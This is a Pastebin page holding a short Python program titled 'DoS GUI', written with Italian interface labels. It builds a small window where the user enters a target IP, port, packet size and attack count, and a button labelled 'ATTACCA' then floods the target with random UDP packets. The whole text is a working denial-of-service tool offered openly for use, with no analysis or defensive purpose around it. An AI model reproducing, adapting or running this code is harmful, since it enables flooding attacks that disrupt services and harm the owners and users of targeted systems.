Advertisement
mgostih

DoS GUI

Nov 3rd, 2013
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.50 KB | None | 0 0
  1. from tkinter import *
  2. import socket
  3. import random
  4. import time
  5. def attacco():
  6.     conto=0
  7.     sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  8.     attacchieffettuati=0
  9.     attacchi2=attacchi.get()
  10.     try:
  11.         flood=random._urandom(byte.get())
  12.     except:
  13.         tkinter.messagebox.showerror("Errore","Hai inserito un numero di bytes non possibile.")
  14.     while attacchi2 > 0:
  15.         attacchieffettuati=attacchieffettuati+1
  16.         try:
  17.             sock.sendto(flood,(ip.get(),porta.get()))
  18.         except:
  19.             tkinter.messagebox.showerror("Errore","Errore nell'attacco")
  20.             attacchi2 = 0
  21.         attacchi2 = attacchi2-1
  22.         if attacchieffettuati==1000:
  23.             conto=conto+1000
  24.             attacchieffettuati=0
  25.            
  26.             time.sleep(0.5)
  27.     e.set(str(attacchi.get())+" Attacchi effettuati")
  28. programma=Tk()
  29. e=StringVar()
  30. ip=StringVar()
  31. porta=IntVar()
  32. byte=IntVar()
  33. attacchi=IntVar()
  34. a=Label(text="Inserisci qui un IP").pack()
  35. testoip=Entry(textvariable=ip).pack()
  36. b=Label(text="Inserisci la porta da attaccare").pack()
  37. porta.set(80)
  38. testoporta=Entry(textvariable=porta).pack()
  39. c=Label(text="Inserisci quanti bytes deve usare un attacco").pack()
  40. byte.set(1024)
  41. testobyte=Entry(textvariable=byte).pack()
  42. d=Label(text="Inserisci quanti attacchi eseguire").pack()
  43. attacchi.set(10000)
  44. testoattacchi=Entry(textvariable=attacchi).pack()
  45. bottone=Button(text="ATTACCA",command=attacco).pack()
  46. attacchieseguiti=Label(master = None, textvariable=e).pack()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement